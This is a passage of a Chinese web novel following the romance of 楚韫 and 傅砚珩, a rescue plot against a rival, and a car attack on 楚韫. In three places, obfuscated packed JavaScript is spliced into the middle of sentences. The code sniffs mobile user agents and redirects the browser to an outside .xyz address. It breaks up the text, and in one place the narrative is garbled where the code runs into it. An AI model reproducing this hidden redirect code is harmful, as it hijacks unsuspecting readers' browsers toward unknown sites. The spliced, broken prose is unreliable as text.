但换作平时,他一般只会穿简洁利落的西装衬衫,很多时候连领带都不打,看起来更加随意一些。 楚韫强迫自己把视线移开,结果傅砚珩把他的下巴扭了过来:“不用害羞,穿这身就是为了让你看的。” 楚韫脸颊微微发红,含糊地说:“我们先进去。” 傅砚珩笑了笑,推开那扇朱漆大门。看到别院内部的瞬间,楚韫屏住了呼吸。 正厅前的天井里,汉白玉雕栏圈出方塘,塘中红荷亭亭。 穿堂风卷着花香掠过抄手游廊,廊下红灯笼依次亮起,串成一片星河,最令人惊奇的是,每盏灯面都绣着缠枝鹊鸟,风过时,便似有无数羽翼在烛火里振翅。 “今天这里只有你和我。” 楚韫愣了一下才反应过来这句话的含义,果然发现除了几个屏声敛气的服务生外,这家餐厅一个人都没有。 桌上的白瓷瓶里插着两枝并蒂莲,菜品一道道上来,摆盘精致,又很符合楚韫的口味。 “傅砚珩,你之前真的没有谈过恋爱吗?” 楚韫觉得这人无论是约会、接吻、制造惊喜,还是那种事上,都堪称是无人能敌的行家里手,处处细致、处处留心,和这样的人谈恋爱,除非是没了感情,否则真是一辈子都不想分手。 傅砚珩说:“你可以听听方施廷他们对我的评价。” 楚韫想起来自己好像隐约听过一耳朵,这时最后一道红豆酪上来了,他舀了一点,心想不是熟能生巧就是天赋异禀了。 “那你之前就没有碰到过喜欢的人吗?”楚韫问完才觉得有点不对劲,他好像在查户口。 但傅砚珩似乎很乐意接受盘查,左臂搭在椅背上,看上去很放松:“没有。” 像是看穿楚韫心里的怀疑,他又说道:“那时候每天都忙得昏天黑地的,还要随时提防竞争对手在背后使绊子,根本没有一点风花雪月的心思。” 楚韫揶揄道:“看来我们能在一起,是天时地利人和的产物。” 没想到傅砚珩摇了摇头:“也不是。如果我在早几年遇到你,一样也会被你吸引,然后喜欢上你。” 归根到底,还是他成长的环境里充满着弱肉强食与物竞天择,残酷冷漠到了极致,不给人留一丝喘息的缝隙。身边的所有人都奉行着功利主义和利己主义,一旦失去可利用的价值,哪怕是血脉相连的父母,也会像丢弃一块无用的破布般,毫不犹豫地将子女抛弃。 但楚韫是不一样的,他宁静、沉稳、疏离,有的时候像是游离于世俗之外,和他待在一起,世俗的评判标准似乎都会烟消云散。傅砚珩的世界里从来没有出现过这样的人,因此一旦出现,就注定会吸引他的全部目光。 . 楚韫本来以为这就是全部的七夕内容了,直到傅砚珩领着他走上二楼,推开一扇雕花木门。 屋子正中央是一架梨花木琴台,湖蓝色绒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383327|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布垂下来,上面静静卧着一把琵琶。 “去看看。” 傅砚珩带着笑意的声音在耳旁响起,楚韫走近了一点。 紫檀木琴身,雕刻着缠枝莲纹样的琴轴,腹板上用螺钿镶嵌了凤纹,一颗鸽血红珊瑚珠缀作凤眼,为整把琴添上灵动的神韵。 “上周出差,合作方邀请我参加一场拍卖会,正好见到了这把琴,就想着给你拍回来当礼物。” 因为之前看过楚韫弹琵琶时的样子,所以在看到它的第一眼,就觉得合该是这样的一把琴,才配得上他弹出的那些琵琶曲。 琴桌后面有一张乌木软塌,叠绣锦垫上摆着孔雀蓝丝绒靠枕。等傅砚珩回过神的时候,就见楚韫抱着那把琵琶斜倚在软枕上,肩头斜落的琵琶与臂弯相贴,比上次的正襟危坐多了几分慵懒韵致。 楚韫简单弹拨了几个音,说道:“傅砚珩,送你一夜春江花月。” 伴随着话音落下,他轻轻轮指,泠泠流泉便漫过丝弦。 夕阳余晖已尽,不知不觉间月上梢头,月光透过槅扇窗洒进这间屋子。 傅砚珩一瞬不瞬地注视着楚韫,看他眼帘低垂,长睫轻颤间,满室清辉似乎尽数被拢在眼底。 应该和楚韫接吻的,傅砚珩想。 但他不忍破坏这样美好的曲子,不想毁掉楚韫为他创造的,一场只属于他们两个的梦境。 右手指腹轻拢慢捻,左手在把位游走,按音时指节微屈。轮指忽急忽缓,挑弦的力道渐次加重,飞落一泓清越之声。 弹拨琴弦的那双手优美修长,指节因用力泛出薄红,让人无端升起一段隐秘而不堪的心思。傅砚珩有些狼狈地挪开目光,那边楚韫的琴声已经归于平静,像是落月沉入春江的残影。 一曲终了,余韵渐消,楚韫小幅度地甩了甩手,笑道:“好久不弹了,这么一会就觉得手酸。” 下一秒,手里的琵琶被人拿走放回琴桌,楚韫只听得铮然一声,紧接着下巴被人抬起,有人几乎是迫不及待地与他唇齿相缠。 “……弹得真好。” 楚韫说不出话来,他整个上半身的重量都依靠着身后的软枕,一双手无力地垂下来,随即就被人捞起,十指相扣。 甚至傅砚珩还捏了捏他的手指,不轻不重,按摩一样,像是在回应他刚刚的抱怨。 …… “傅砚珩,等我们老了就去隐居吧。” 这句话听起来很突兀,楚韫想了想,解释道:“我很喜欢这里的氛围,等我们老了就去山上住,早晨可以呼吸到山间的晨风,傍晚迎着落日生火做饭,然后空闲的时间我给你弹琵琶。” 傅砚珩没说话,楚韫迎上他的目光,笑了笑:“我有的时候就会幻想一些很缥缈的事情——” “好。” 然后就又是一段风月缱绻,耳鬓缠绵。 …… 41. 仇恨 不出楚韫所料,吴润隔天就主动联系了自己。 “核实过了,没问题吧。”楚韫拿着手机淡声道,这通电话甚至是对方加密打过来的。 吴润的人只花了一个晚上的时间就找到了楚韫所说的那家康复中心,并且在613病房周围发现了几个长时间徘徊在附近的便衣保镖。 “我们怕打草惊蛇,没有长时间靠近,但一走一过的时候能听见病房里的说话声,就是您母亲的声音。” “而且我们查了住院记录,613病房的入住记录正好和您父母失踪的时间一般无二,所以应该没有问题。” 吴润听完,额角微微抽动,已经完全相信了楚韫和他说的话,于是第二天一早就主动联系了他。 “你要的东西我会通过加密邮件发给你,”吴润的嗓音听起来很沙哑:“楚韫,别忘了信守你的承诺。” “谢谢,我会的。” 电话挂断,面前就被放了一碗阳春面,汤色清透如琥珀,葱花翠色鲜嫩,面条根根分明。 “成功了?” 楚韫“嗯”了一声:“你们的语音模仿系统精准度好高,已经到了以假乱真的地步了。” 傅砚珩笑了笑,把他的那碗放在桌上:“这还只是一个测试版本,很多地方还不成熟。” ——613病房里传出来的吴母的声音是假的,病房外徘徊的便衣保镖是楚韫找的人,疗养院的入住记录也是他们动过手脚的产物。 从头到尾那间病房都是空的,楚韫从吴润父母的邻居那里获得了他们平时微信聊天的语音记录,以此为样本投喂给亿恒的语音模仿系统,训练出最契合吴母声线的语音模型,然后在613病房里播放一段符合情境的医患对话,成功骗过了吴润手下的人。 “接下来就是找人盯紧余晋华,他那边一旦有动作,我们就能找到吴润父母——” 面条吸饱了汤汁,咬下去时外皮软滑,内里又带着劲道,每一根都裹着葱油的香气。楚韫感叹道:“傅砚珩,你哪怕当个厨子都能做到五星级酒店的行政总厨。” 说起来,他昨晚住在傅砚珩家里纯属是个意外。回去的时候傅砚珩在车上问他,要不要去他家里看他一并拍回来的那套乾隆年间的花神杯,并且平静表示就当多陪他过一会七夕。 花神杯、七夕,再加上楚韫因为忘记节日礼物而产生的愧疚,这三点但凡少了一个他都得多犹豫一会—— 然后他今早就在傅砚珩家的客房里睁开了眼睛。 . 两人吃完早饭,楚韫本想去厨房把碗刷了,结果一通电话打断了他的自告奋勇。来电提示显示是一个陌生号码,楚韫以为又是吴润,接起来之后才发现是宋清峦。 “楚韫,我们能聊聊吗?” 楚韫的语气非常冷淡:“我们好像没什么可聊的。” 电话那头的宋清峦沉默了两秒钟才说:“我知道……但我也想给你一样东西,我想你会感兴趣的。” 楚韫大概能猜到应该是和廖叙生有关,于是他答应了:“一会在茶楼见吧。” 他挂断电话,深吸一口气,对傅砚珩说:“我一会要去见宋清峦,但就是和他在茶楼里说两句话,什么事都不会有,你千万不要多想——” 令他惊讶的是,傅砚珩这会出奇的大度:“不会的。” 他的嗓音甚至难掩愉悦:“我有男朋友一起过七夕,他没有。” 楚韫:“……” . 宋清峦想起自己上次来“先春”,当时他还会惊讶于这间茶楼在楚韫的手上重获生机,现在再看这一切,心中却是一点波澜都生不出了。 很多很多年前,他还是廖叙生的徒弟、楚韫的师兄时,就知道他这个师弟拥有一段悲惨的童年经历,这样的人其实应该是很可怜的,至少在见到楚韫之前,少年时期的他是这么想的。 但真正见到年幼的楚韫时,他心里的那些预设和猜测全都被推翻了。 刚被廖叙生从福利院领养回来的楚韫看起来漂亮又瘦弱,像一只被人遗弃的小猫幼崽,他身上有一种变态的沉默,无论自己如何诱导都不肯开口,只有那双漆黑的眼睛像一汪寒潭,被注视得久了甚至会从心底攀上一种毛骨悚然的感觉。 也是从那时开始,宋清峦清楚地意识到,那些诸如“可怜”、“悲惨”等带有某些居高临下意味的词语和楚韫根本沾不上边,他这个师弟身上天然的冷漠和寡言永远让人望而生畏,但这种极具扭曲感的反差在某种程度上又为他增加了很多难以言说的魅力。 这样的人,似乎任何风浪狂澜都不足以使他倾覆,他只会在遍体鳞伤时沉默地韬光养晦,然后孤注一掷地与那些逐步逼近的黑暗交锋。 年少时的岁月就这样一步步走过,当时他还不清楚自己对于楚韫抱有的是怎样隐秘的感情,但等到他彻底明白了之后,一切也都太晚了。 宋清峦推开茶室的木门,却在看见楚韫的那刻愣住了。 对方蜷在藤编躺椅里,双眸微阖,睫毛长而密,正随着呼吸极轻地颤动。那双唇微微泛着红肿,偏生唇线冷冽,像雪地里划开的一道痕。 也只有在这个时候,楚韫才会露出一点柔软姿态,他们才能安静平和地相处一小段时间。 宋清峦轻手轻脚地关上了身后的门,然后屏住呼吸,一步一步地靠近。 他抱着一点侥幸心理,试探着伸出手,似乎想要轻轻触碰他年少时那段绮靡的梦境,但也就不过一寸的距离,躺椅上的楚韫突然睁开了眼睛,里面还残留着一点刚睡醒时的懵懂,然后宋清峦就清楚看到,在目光触及自己的刹那,那点懵懂就迅速变成了戒备和冷淡。 “坐吧,我们长话短说。” 楚韫早上起得早,而且向来吃饱了就犯困。他本来是在躺椅上看书的,结果最后实在没撑住睡着了。 宋清峦原本有些尴尬的神色迅速恢复正常,他把一个封皮陈旧的笔记本递给了楚韫:“这是廖叙生的日记本。” 迎着楚韫惊愕的神色,他笑了笑:“你不想知道我为什么会知道廖叙生的那些不为人知的秘密吗?答案就在这本日记里。” 楚韫好久才找回了自己的声音:“它为什么会在你手里?” 宋清峦说:“廖叙生出事后,茶协的人把他的东西翻了个底朝天,这本日记当时本应该被带回去当做调查材料的,但被我中途截下了。” 在此之前,楚韫甚至不知道这本日记的存在,但这确实是他师父留下来的为数不多的珍贵遗物之一。 “谢谢。” 宋清峦苦笑了一下,也只有在这种时候楚韫的态度才会稍稍缓和一点。 他沉默一瞬,忽然开口:“楚韫,你恨我吗?” 楚韫用一种“这人脑子是不是坏掉了”的眼神看着宋清峦,答道:“以前有过。” 但现在已经无所谓了。 从前他对宋清峦虽然算不上亲近,但好歹师出同门,总是会比陌生人多几分感情,因此在知道他背叛廖叙生之后,那些不解、愤怒、恨意还是会席卷他的理智。 但这些情绪被时间一磨就成了齑粉,他还有很多事情要做,他又遇到了许多人,回头再看宋清峦这样的人,也只是觉得讽刺。 宋清峦大概知道楚韫手里已经掌握了余晋华的不少证据,而一旦余晋华倒台,他自己的职业生涯也就到此为止了。换作几年前,他或许不会坐以待毙,但现在他累了,他只想最后再和楚韫说一次话。 “我知道我做了错事,你恨我也是应当的。也许在你眼里,廖叙生是一个无可指摘的好师父,但在我这不是。” 楚韫的手指轻轻摩挲着那本日记的封面,闻言动作一顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那天之后,恨意的种子在心中潜滋暗长,最终变成了一棵遮天蔽日的大树,让他再也看不清正确的道路。 楚韫静静地注视着他:“那你应该恨我,而不是师父,毕竟是我的出现夺走了你的一切。” 宋清峦神色复杂地看了他一眼,摇头道:“不,我不恨你,是廖叙生言而无信,我该恨他。” 楚韫知道宋清峦对自己的心思,但在不知道内情的情况下,对方把所有的罪责都推到廖叙生身上,只会让他觉得更加荒谬。 恰在这时,宋清峦的手机响了起来,他接起,听对面说了一大长串内容,面无表情地说道:“我知道了,我现在就过去。” 他挂断电话,站起身来,突然说道:“其实这本日记里还记录着廖叙生研制雪听松风时的思路。” 他看清楚韫细微的神色变化,笑了笑:“我知道你想让雪听松风的归属权回到廖叙生手里,但仅凭这本日记不足以形成完整的证据链。” 楚韫若有所感地抬起头,就听他接着说:“你还需要我的作证。” 宋清峦的呼吸急促了几分,他压抑着心底的颤抖,说道:“抱我一下,小楚。抱我一下,我就帮你。” 楚韫的目光长久地与他对峙,半晌他弯起嘴角,缓缓摇了摇头:“你想多了,我已经不需要了。” 那是一个充满着讥讽与蔑视的微笑,宋清峦神情变得一片空白:“……为什么?” “一个残次品,却被奉为佳作,我师父在天有灵都会觉得羞愧。”楚韫语气平静,字字句句清晰无比:“我会做出更好的雪听松风,完成师父未竟的心愿,让余晋华毕生最引以为豪的作品变成一个彻头彻尾的笑话。” “所以,收起你那些卑劣的手段,别再像个跳梁小丑一样了。” 42. 俱焚 在确认吴润给他的证据没问题之后,楚韫迅速报了警,并向警方交出了余晋华的助理吴润与GLGA工作人员和秘书长相勾结、暗箱操作比赛的一系列证据,当天上午,警察就从茶叶协会带走了吴润。 当时吴润正在余晋华的办公室里汇报楚韫的近况,从警察出示证件到最后被带走,他全程只是点了点头,看起来一点都不慌乱。因此他们走后,在一片窃窃私语里,余晋华皱紧了眉头。 不对劲,一定出了问题。 他不担心吴润会在警局里把自己供出来,只要掌握着他父母,那小子就会守口如瓶。医院那边的人每天都会向他汇报,哪怕是到今天,吴润父母那都没有任何风吹草动。 但吴润刚刚的反应有些太镇定了,镇定到他甚至有些怀疑对方是否已经知道了他父母的藏身之地。 他拨通了一个电话,对面向他汇报:“今天医院这边都一切正常。” 余晋华指尖叩击着桌面,沉默了两秒,还是觉得太蹊跷了。他有些心乱如麻,冷声道:“今天下午就把人转移出去,动作一定要快!” . “从吴润给的证据中,我们锁定了几个余晋华资金异常流向的医疗机构,并重点监控了其中负责‘特殊病患’的负责人及其核心团队的通讯和行踪。只要他们稍有动作,我们就能立刻得到消息,锁定转移目的地。” 楚韫微微颔首,说了句“辛苦了”,随即挂断了电话。 后半夜,楚韫收到了一封加密邮件,里面有几张照片,是一家藏在深山老林里的疗养中心,此时里面正灯火通明,外面有很多保镖把守。照片旁边附上了一行文字:吴润父母已被转移到梧桐疗养中心,并且我们已经确认了二位老人的具体位置。 楚韫在心里无声地松了口气,回复: [如果现在闯进去抢人的话,你们有几分的把握?] 梁淮的人很快回复: [我们可以制造小规模意外,利用混乱窗口期解决外围看守。我们的专业医疗人员和车辆在附近隐蔽处待命,能够快速将两位老人转移到事先找好的医院。] 那家医院是亿恒全额投资建立的,完完全全在傅砚珩的掌控之下,是楚韫能找到的最安全的医疗点。 不能再拖了,万一他们的人露出马脚,反倒会失去先机,那时候再从一家本就密不透风的疗养院里抢人就难上加难了。 楚韫沉吟一瞬,果断回复: [可以动手了。] . 客卧的房门被轻轻敲响,楚韫从电脑屏幕上抬起头,就看见傅砚珩倚在门口:“找到人了?” 楚韫“嗯”了一声,揉了揉发胀的太阳穴:“只要那边成功把人带走,我就可以去警局报案了。” 不过比起这个,他目前更关心的是:“这都三点了,你怎么还没睡?还是我吵醒你了?” 傅砚珩挑眉道:“你不也没睡?” 楚韫一时语塞:“我这是要关注那边的情况,当然不能睡了。” “那我们还挺心有灵犀。”傅砚珩说:“我刚刚处理了点工作,一看时间就到这个点了,出来倒杯水喝,就看见你房间的灯还亮着。” 哪有那么多工作,非要放到后半夜处理,明明是因为不放心想陪着自己。 傅砚珩看了一眼楚韫微微泛红的眼尾,说道:“你先去睡会,这边我帮你看着,有结果了我就告诉你。” 楚韫闻言也没拒绝,因为他明早还要去警局报余晋华的案子。刚才的紧张感过去,他现在其实已经困得眼睛都要睁不开了,但还是站起身来抱了一下傅砚珩,顺便在对方怀里蹭了蹭,然后才回到床上睡觉。 茶叶协会会长办公室内依旧灯火通明,余晋华坐在宽大的办公椅内,眼睛一动不动地盯着虚空中的某一处,整个人仿佛一座毫无生命力的雕像。 在一片死寂中,原本放在桌上的手机忽然开始疯狂震动。余晋华原本的思绪被打断,皱眉接了起来,就听见背景一片嘈杂喧闹,对面的人喘着粗气,断断续续地说:“……会长,吴润父母被人抢走了!” 余晋华骤然站起,额角青筋突突跳动,眼里布满了红血丝:“你说什么?” “那伙人切断了我们的电路,然后——” 他的声音被突兀地打断,余晋华已经彻底暴跳如雷:“废物!那么多人看不住两个躺在病床上的人,你们是干什么吃的?!!” 他毫不犹豫地摁断了电话,事已至此,这个筹码已经彻底指望不上了。 所有线索终于在此刻串连成线,不过二十四小时,事情已经发展到了完全脱离掌控的地步。 从吴润被带走的那一刻开始,他就开始怀疑对方为什么看起来会那么镇定。他的表现实在太反常了,这种反常只有两种解释—— 一种是吴润已经找到了他父母的所在地,因此他不怕自己的胁迫,那是一种有恃无恐。 第二种,也是他最不希望出现的一种,是对方早就知道这一刻的到来,而这就意味着楚韫和他已经事先联系过了。 如果是吴润的话,他根本没有必要等到今晚才动手,早在他被警察带走之前就应该有动作了。唯一的解释就是楚韫通过早上的那件事让自己有所动作,这样才能顺藤摸瓜找到吴润父母。 余晋华的后槽牙磨得咯咯响,仿佛要把满腔怒火嚼碎再吞下去。 楚韫为什么要这么大费周章地做这一切?因为他和吴润做了交易,他想要吴润手里那些能让自己万劫不复的证据,作为交换,他需要保证吴润父母的安全! 现在楚韫已经再无后顾之忧了,那么下一步—— 余晋华缓缓望向墙角的那个展示柜,里面有一座光洁如新的奖杯,是那年他凭借雪听松风,在云雾杯比赛上拿到的冠军奖品。 那也是他整个职业生涯的转折点,是他坐上这个位置的开端。 而现在,楚韫要毁了他,要让他汲汲营营一辈子获得的名誉、成就化为一片狼狈的泡影。 “既然这样,那我们就玉石俱焚吧。” 空荡的会长办公室内寂静无声,没有人回应他,只有面前茶杯的倒影里映出那张扭曲癫狂的面孔,像是从地域里爬出来的厉鬼罗刹。 . 墙上指针指到六点半的时候,楚韫被傅砚珩叫醒了。 “成功了。” 楚韫原本朦胧的睡意立刻散了一大半,心脏在胸腔中快速地跳动,他接过傅砚珩拿来的笔记本,上面加密邮件的内容恰恰如对方所说,吴润父母已经被安全转移到了傅砚珩手下的医院,发送时间是早上六点钟。 楚韫看傅砚珩眼下淡淡的青影,嗓音有些沙哑:“你一宿没睡?” 傅砚珩看出他是心疼了,笑道:“中间睡了半个小时,这不算什么,以前我刚接手公司的时候经常通宵。” “你快睡一会吧,一会还要去公司。”楚韫不由分说地把人拽到了床上,简单洗漱一番后从洗手间探出头:“我去一趟警局。” “还是我送你过去吧。” 傅砚珩就躺在刚刚楚韫睡过的位置上,甚至能感受到身下床单上残留的对方的体温,困倦一下子就涌了上来,心想从此君王不早朝还是有几分道理的。 楚韫在这短短的几分钟里已经换好了衣服,那些证据被他装进了一个公文包里,他看了一眼床上昏昏欲睡的人,走过去亲了一下他的唇角,好笑地说:“不用,你好好休息,我很快就回来。” 傅砚珩闻言也没再坚持,很轻地“嗯”了一声,嘱咐道:“注意安全。” 住在别人家里这种事,可谓是有一就有二,有二就有三,然后就会一发不可收拾。更何况傅砚珩还总是能找出五花八门的理由让他合情合理地留宿,估计要不了多久他俩就要彻底发展成同居关系了。 这回是楚韫家附近在搞供水管网维修,附近居民区要大规模停水一天,于是傅砚珩理所应当地又把人弄到自己家里来了。 楚韫觉得有些啼笑皆非,这回不仅是他人“登堂入室”,连他的车都堂而皇之地停到了傅砚珩的车位上。 手上的公文包无时无刻不在提醒着他,要结束了。这么多年的仇恨、挣扎、罪恶,都将在今天烟消云散,蒙受冤屈之人终会洗去污名,蝇营狗苟之辈即将罪有应得。 楚韫轻轻呼出一口气,脸上神情轻松了几分,然而就在他打开车门的那一瞬,他的右眼皮很轻微地跳动了一下。 楚韫动作一顿,随即不动声色地上了车,按部就班地锁车门、系安全带、点火,看起来一切都有条不紊。 沃尔沃驶出地下车库,汇入早高峰的车流中,楚韫垂眸看了一眼副驾驶上的公文包,不知道心里在想什么。 七点钟的城市就像一锅将沸未沸的水,热气腾腾,喧嚣躁动。傅砚珩家离市局大概有二十分钟车程,但在早高峰时段就要被延长到四十分钟左右。 十字路口,绿灯亮起,车流如同开闸泄洪般涌动。楚韫目光习惯性地扫向后视镜,就看见一辆不起眼的灰色面包车,如同浑浊水流里一块顽固的礁石,牢牢咬在沃尔沃车后三个车位的位置。而且据他观察,这辆车已经连续跟过了两个路口。 它的车窗贴膜颜色深得过分,吞噬了所有窥探的可能。楚韫面无表情地踩了点油门,车子灵活地切入左侧略空的公交车道,借着一辆笨重的公交车短暂阻隔了面包车的视线。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383329|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 余晋华想必已经知道吴润父母落于他手的事情,并且反应过来吴润把那些致命性的证据交到了自己手里。那么他现在是想单纯销毁这份证据,还是—— 同一瞬间,那辆面包车也切了出来,带着一股更加蛮横的狠劲,猛地加速! 对方庞大的车头在早高峰黏稠的车河里硬生生犁开一道缝隙,无视侧旁车辆惊惶的喇叭与刹车尖叫,直直朝沃尔沃车尾右后侧凶猛撞来。楚韫眸光一凛,随即明白了对方的意图——它要逼沃尔沃失控,撞向旁边车道汹涌的车流,或者直接把车子顶翻在路中央! 一个山穷水尽的落败者,在这一刻变成了拿起屠刀的穷凶极恶之人。 刺耳的鸣笛声浪如有实质,汹涌灌入车窗,几乎要撕破耳膜。楚韫甚至能从眼角余光里看到,一个骑着电动车、后座载着孩子的母亲,脸上血色瞬间褪尽,圆睁的双眼里尽是惊恐。 右脚瞬间从油门抬起,狠狠跺在刹车踏板上,车身猛地一顿,强大的惯性让人狠狠砸向座椅。就在灰色车头即将撞到车尾的瞬间,刹车力道骤然一松,楚韫闪电般地一脚油门到底,随即方向盘向右急打半圈! 车头迅疾向右前方窜出,险之又险地擦过那辆穷追不舍的灰色面包车。 对方一击落空,庞大的车身在惯性下略显笨拙地甩正。但那个面包车司机显然不是善茬,迅速调整方向,再次加速,意图将沃尔沃逼向路边那排粗壮的梧桐树! 两侧的车流稠密得令人窒息,几乎没有腾挪的空间。楚韫的目光急速扫掠前方—— 没有路,只有前方那个狭窄的、被梧桐树荫遮蔽的紧急停车缺口。 楚韫一脚重刹,车身猛地前倾下沉,轮胎发出濒死的尖啸。就在速度骤减、灰色面包车因惯性即将超越沃尔沃的瞬间,他猛地松开刹车,右脚油门到底,方向盘向左狠狠打死。车身在剧烈扭动中,完成了一次几乎不可能的甩尾漂移,车尾带着决绝的气势,狠狠扫向面包车的前轮方向!这一下,是置之死地而后生,赌的就是对方本能地避让。 “吱嘎——!!!” 轮胎摩擦路面的声音刺耳欲聋,橡胶烧焦的气味瞬间弥漫开来。面包车司机显然没料到楚韫居然比他还不要命,庞大的车身猛地一歪,慌乱地向左急打方向闪避,沉重的车头险险擦过一辆出租车的后视镜,惊得那司机破口大骂。 就在面包车失控偏斜、露出前方缝隙的刹那,那个狭窄的缺口再度出现在楚韫眼前,电光石火间,他也看到了缺口尽头那棵沉默伫立的巨大梧桐。 没有丝毫犹豫,方向盘猛地回正,车子如同离弦之箭,对准那个缺口冲了过去—— 楚韫下颌绷紧,向来秀美昳丽的一张脸森然冰冷,如同坚不可摧的钢板。 其实那不过是短短两秒钟的事情,甚至不够一片叶子从枝头落到地面,然而就在车头即将冲入缺口的瞬间,一辆满载着建筑废料的土黄色重型卡车,如同早已埋伏好的狰狞巨兽,毫无征兆地从旁边一条小支路里轰然冲出!!! 瞳孔里只剩下那堵不断放大的、沾满泥泞和灰尘的黄色钢铁巨墙,楚韫狠狠踩下刹车踏板,但已经无济于事了—— 巨大的惯性依旧推着车身,无可挽回地向前冲去。 世界在那一刻被抽走了所有声音,只剩下自己沉重的心跳和血液冲上头顶的轰鸣。脑海里闪过几个模糊的片段,是当年呼啸着离去的救护车,是灰暗的天空下墓园里冰凉的雨,是那些不怀好意的声浪、咄咄逼人的质问……是早上出门时那个羽毛般珍重、轻柔的吻。 在撞上那辆卡车前的最后一瞬,楚韫用尽全身力气将方向盘向右猛打到底,车头在刺耳的摩擦声中强行扭开一个微小的角度,车身剧烈地侧滑、旋转,失控地朝着那堵巨墙旁边、缺口边缘那棵沉默的梧桐树狠狠撞去! “轰——!!!” 一声沉闷得令人心脏骤停的巨响,整个世界猛地一顿,随即天旋地转。 楚韫的身体被一股无法抗拒的蛮力狠狠掼向前方,又被骤然勒紧的安全带死死拽回座椅,五脏六腑仿佛瞬间移位。巨大的冲击力从车头传来,整个驾驶舱发出令人牙酸的金属扭曲呻吟。 额角传来一阵尖锐的刺痛,伴随着温热的黏腻感。楚韫用尽力气抬起灌了铅的手背,蹭了一下,视野里立刻染开一片刺目的猩红,腥甜的气味钻入鼻腔。 恍惚间,楚韫好像听到了越来越近的警笛声。视线开始不受控制地模糊、摇晃,挡风玻璃上那蜿蜒的血痕和碎裂的树影在眼前重叠、晃动。 身体里紧绷的弦彻底崩断,剧痛和沉重的疲惫感如同黑色的潮水,从四面八方涌来,迅速淹没了楚韫残存的意识。 43. 经年 “车祸伤!男性,昏迷状态,头皮裂伤,疑似肋骨骨裂,颅脑可能震荡!” “心率110,血压85/50,氧饱95,头皮裂伤约4cm,活动性出血已加压……右侧瞳孔对光反应稍迟钝,左侧正常,颈部无抵抗,胸廓挤压痛阳性……” 冰冷的金属探头贴在胸口,手臂被用力勒紧,尖锐的针刺感扎入皮肤。 眼皮沉重得像坠了一块巨石,但强烈的光线似乎穿透了薄薄的眼睑,刺激着混沌的大脑。楚韫努力对抗着那无边的黑暗和眩晕,用尽全身力气,试图撬开一条缝隙,但终究还是失败了。 我还活着吗?他断断续续地想。 秦澜月急匆匆地赶到楚韫的病房时,就看见一道穿着黑色衬衫的高大身影背对着他,正在和一旁的两个警察交谈。 “……原本车里的文件、U盘和照片已经几乎全部损毁了,感谢您为我们重新提供的重要物证。” 其中一个年长些的警察手里拿着一个透明的塑料证物袋,袋子一角沾染着暗红色的、已经干涸的血迹:“经初步调查,您反映的情况以及现场勘查结果,表明这并非一起简单的交通事故。我局已决定对此案以‘故意杀人罪’正式立案侦查,并且申请了对余晋华的逮捕令。” 那个男人点了点头,平静说了句“辛苦了”,随后亲自将两位警察送出了病房。 他转过身的一瞬间,秦澜月的大脑轰然炸响,金融报纸上匆匆一瞥般的剪影与此刻男人的面庞高度重合,最后变成了一句不可置信的:“……傅先生?” 傅砚珩仿佛刚刚注意到病房里多出来一个人,略略朝他一点头,也不在意对方如何知道自己身份,随即就把目光放在了病床上那个昏迷不醒的人身上。 楚韫的头上包裹着层层的纱布,额角还贴着一块,边缘渗出一点淡淡的、已经干涸的黄色药渍和极细微的暗红。那张本就白皙的脸此刻更是一片苍白,颧骨和下颌线附近漫出一片青紫,看起来格外的触目惊心。 他的身体被整洁的白色被单覆盖,只有一只手臂露在外面,手背上固定着留置针,透明的药液正通过细细的管子,一滴,一滴,缓慢而持续地注入静脉。手臂的皮肤下,隐约可见大大小小的伤口和几处碰撞造成的淤青。 秦澜月的嗓子像是被人塞了一团棉花,费了很大的力气才发出一点嘶哑的声音:“楚韫怎么样?” “中度脑震荡,三根肋骨断裂,面部和胸壁大面积挫伤,脏器没事。”傅砚珩说着,目光依旧没从楚韫身上移开。事实上,从头到尾,无论是表情、语气,还是姿态,他都表现得平静、克制而正常,但秦澜月触及对方眼神的那一刹那,却情不自禁地打了个寒战。 秦澜月又看了一眼昏迷不醒的楚韫,咬了咬牙,轻声道:“傅先生,我们能否借一步说话?” 直到此时,对方似乎才终于肯分一点心神到他人身上,傅砚珩那张看起来格外冷峻的脸转了过来,心领神会地和秦澜月去了外面。 秦澜月发现,傅砚珩离开病房的同时,病房外面就悄无声息地徘徊了一群便衣保镖,无言地守卫着病床上的人。 . 两人去了医院的楼梯间。 秦澜月摸出一盒“黄鹤楼”,偏头问了句“抽吗”,然后指尖夹着的烟就被傅砚珩接了过去。 他自己也叼了一根,打火机“哧”的一声,楼梯间里顿时云雾缭绕起来。 傅砚珩不怎么抽烟,抽得最多的还是他刚接手亿恒的那两年。为了挽回岌岌可危的局势,天之骄子也要学会看人眼色地顺势而为。 “傅总,我们明人不说暗话,我就是想和你聊聊楚韫。” 连称呼都换了,可见郑重。 